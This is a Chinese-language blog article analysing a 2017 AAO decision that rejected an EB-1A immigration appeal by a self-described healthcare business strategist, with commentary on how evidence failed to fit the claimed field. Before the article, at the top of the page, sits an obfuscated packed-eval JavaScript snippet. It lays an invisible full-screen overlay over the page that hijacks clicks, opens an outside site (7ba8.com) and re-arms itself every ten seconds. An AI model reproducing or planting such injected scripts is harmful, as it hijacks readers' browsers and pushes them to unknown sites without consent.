<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>【案例剖析】旨在能让美国杰出人才移民（EB-1A）和美国国家利益豁免移民（NIW）的申请人能看到更多的真实案例。May会着重选取近年来被美国移民局拒绝的失败案例，从科学、商业、教育、艺术及体育这五大领域的众多不同职业的申请人中挑选出最具代表性的案例逐一剖析，通过抽丝剥茧找出这些案例失败的根本原因，让申请人更加直观地了解美国移民局审核官员的审件准则，从而通过吸取这些前人的经验教训，绕过可避免的失误，顺畅地通过审核拿到美国永居绿卡。
【案例剖析2】创新型医疗商业战略家 所属领域：商业领域
【背景】：
申请人毕业于XX医学院，目前在XX医科大学工作，是一个质量改进项目的带头人和研究者。
申请人声称自己是“商业领域”的创新型医疗商业战略家，并认为自己满足移民法规中给出的10个参考条件中的以下5个，由此向美国移民局提交了杰出人才移民的I-140申请。
1、曾经获得国际级或国家级重要奖项。
2、具有专业协会的会员资格，该协会仅限杰出人士成为会员。
3、有主要专业媒体、商业媒体、或其它主流媒体对申请人及其工作的报道。
4、对专业领域做出了意义重大的独创性贡献。
5、在声誉卓著的机构或组织中发挥领导性或关键性作用。
美国移民局德克萨斯中心认为他不符合申请杰出人才移民（EB-1A）的资格，拒绝了他的申请。申请人对移民局的审核结果不满，由此向移民局的行政上诉办公室（Administrative Appeal Office,简称AAO）提出上诉，请求AAO重审。
![]()
下面我们具体来看AAO是如何判决的。
【一、申请人声称自己满足10个参考条件的第1个：获得过国际级或国家级重要奖项。理由：曾获得过4个奖项。】
申请人提供了一份中文资料，说这是某个奖项的证明。
AAO观点：资料没有做英文翻译，不能成为证据。
申请人还提供了其它三份奖项的资料。1）来自曾就读的大学，显示该奖项是颁发给成绩优异的高年级牙科学学生；2）来自曾就读的大学；3）来自曾就读的大学，此奖项是表彰那些“2013-14年度的优秀学生干部”。
AAO观点：没有证据证明申请人获得的这三份奖项的授予依据是以获得者在专业领域内的杰出表现，另外也没有证据表明该奖项具有国际级或国家级声誉。再则，申请人声称自己在“创新型医疗商业战略”方面具有杰出才能，但并没有提供证据表明她的牙科学生奖是这个才能的展现。申请人不满足此条标准。
【二、申请人声称自己满足10个参考条件的第2个：具有专业协会的会员资格，该协会仅限杰出人士成为会员。理由是：自己是牙医协会的会员。】
申请人提供了网上截图，展示了协会的背景、章程及组织架构。
AAO观点：要满足这一条，申请人必须提供资料证明要这个协会的准入门槛是：必须具备杰出的才能。但是，申请人并没有提交入会要求，没有显示入会需那些有着国内或国际知名度的专家的推荐，也没有显示入会需具有已被国内或国际知名专家审核过的杰出的成就。再则，申请人也没有解释出使命是提供“优质的牙科护理和口腔健康教育给公众”的牙科协会如何跟“创新型医疗商业战略”这个领域相关。申请人不满足此条标准。
【May解析】：
要论证申请人的会员资格符合本条标准，以下3方面的相关材料是不可或缺的：
1、申请人加入的协会在业内有着极高的影响力和社会地位；
2、申请人获得此协会的会员资格是因为申请人在其领域内的杰出成就；
3、申请人获得此协会的会员资格是经过了业内、国家或国际级专家的审核通过才获得的。
【三、申请人声称自己满足10个参考条件的第3个：有主要专业媒体、商业媒体、或其它主流媒体对申请人及其工作的报道。理由：自己是4篇文章的作者。】
AAO观点：要满足此条标准，报道必须是“关于”申请人的。申请人不满足此条件。
【May解析】：
媒体报道必须是针对申请人本人及其专业领域内的工作的，主题内容应该围绕申请人展开，报导的内容必须和申请者的研究成就直接相关，必须是申请人对行业的贡献或成就而不是申请人的产品或服务。另外，媒体的影响力和重要性也是审核官员会去重点考量的。
【四、申请人声称自己满足10个参考条件的第5个：对专业领域做出了意义重大的独创性贡献。理由：自己是XX大学创新医疗质量改进项目的负责人和商业战略家。】
申请人提交了一份推荐信，推荐信中写道申请人是一位精通医学和创新商业战略的人，这是一种专业人士很少具备的独特的组合技能。
AAO观点：申请人没有提交任何可证明自己为专业领域作出了独创性的重大贡献的证据。尽管推荐人形容申请人具备“独特的组合技能”，这也并不是重大的独创性贡献，除非申请人能证明自己运用这个技能对行业领域造成了意义重大的影响。申请人不满足此条。
【五、申请人声称自己满足10个参考条件的第8个：在声誉卓著的机构或组织中发挥了关键性作用。】
申请人提交了一封来自于XX教授的推荐信，信中说申请人的研究和质量控制技术是申请人负责的项目的关键。申请人的工作持续获得了声誉并获得了额外的研究经费。
AAO观点：关键的角色是指申请人对组织或机构已经取得的成果发挥了关键性作用、作出了重大的贡献。申请人没有提交资料显示成果是什么以及申请人在当中发挥了怎样的关键性作用。另外，要满足此条件，还需证明组织或机构是声誉卓著的。尽管，XX指出XX大学是世界上的著名的研究型大学，但没有资料证明此观点。申请人不满足此条。
结论：申请人不满足10个参考条件中的任意一个，申请人没有显示出已在专业领域里具有非凡的能力且已经上升到了行业的顶层位置，也没有充分有力的证明自己对专业领域有着的重大贡献并持续享有国家级或国际级的声誉。申请人不具备申请杰出人才移民的资格。
![]()
2017年4月13日，AAO驳回了申请人提出的上诉。
【May解析】：
在这个案例中，申请人将自己定位为：商业领域的“创新型医疗商业战略家”。申请人申辩自己符合“曾获得过奖项”这一条时，AAO指出，申请人的奖项跟这个定位不相关；申请人申辩自己符合“是协会会员”这一条时，AAO再次指出，申请人的这份会员资格跟这个定位不相关。
证据与定位不相关，这是常常出现的情况。为什么会出现这样的原因？因为申请人的注意力大多聚焦于自己到底符合10个参考条件的哪几条去了，而忽略了定位。
准备杰出人才移民的申请材料之前，首先要做的工作是精准“定位”。例如，一位制药公司的分管研发的副总，他的定位可能是A“科学领域的新药研究者”，也可能是B“商业领域的企业家”，这两个截然不同的定位，意味着申请材料的准备方向是完全不一样的。如果用跟B相关的材料去证明A，或是用跟A相关的材料去证明B，会出现跟此案例的这位申请人一样情况。
【以上材料来自美国移民局，由May翻译整理并独家发布，版权归May所有。未经授权，谢绝转载。对未经许可擅自使用者，May保留追究其法律责任的权利。】
![]() |
|
收藏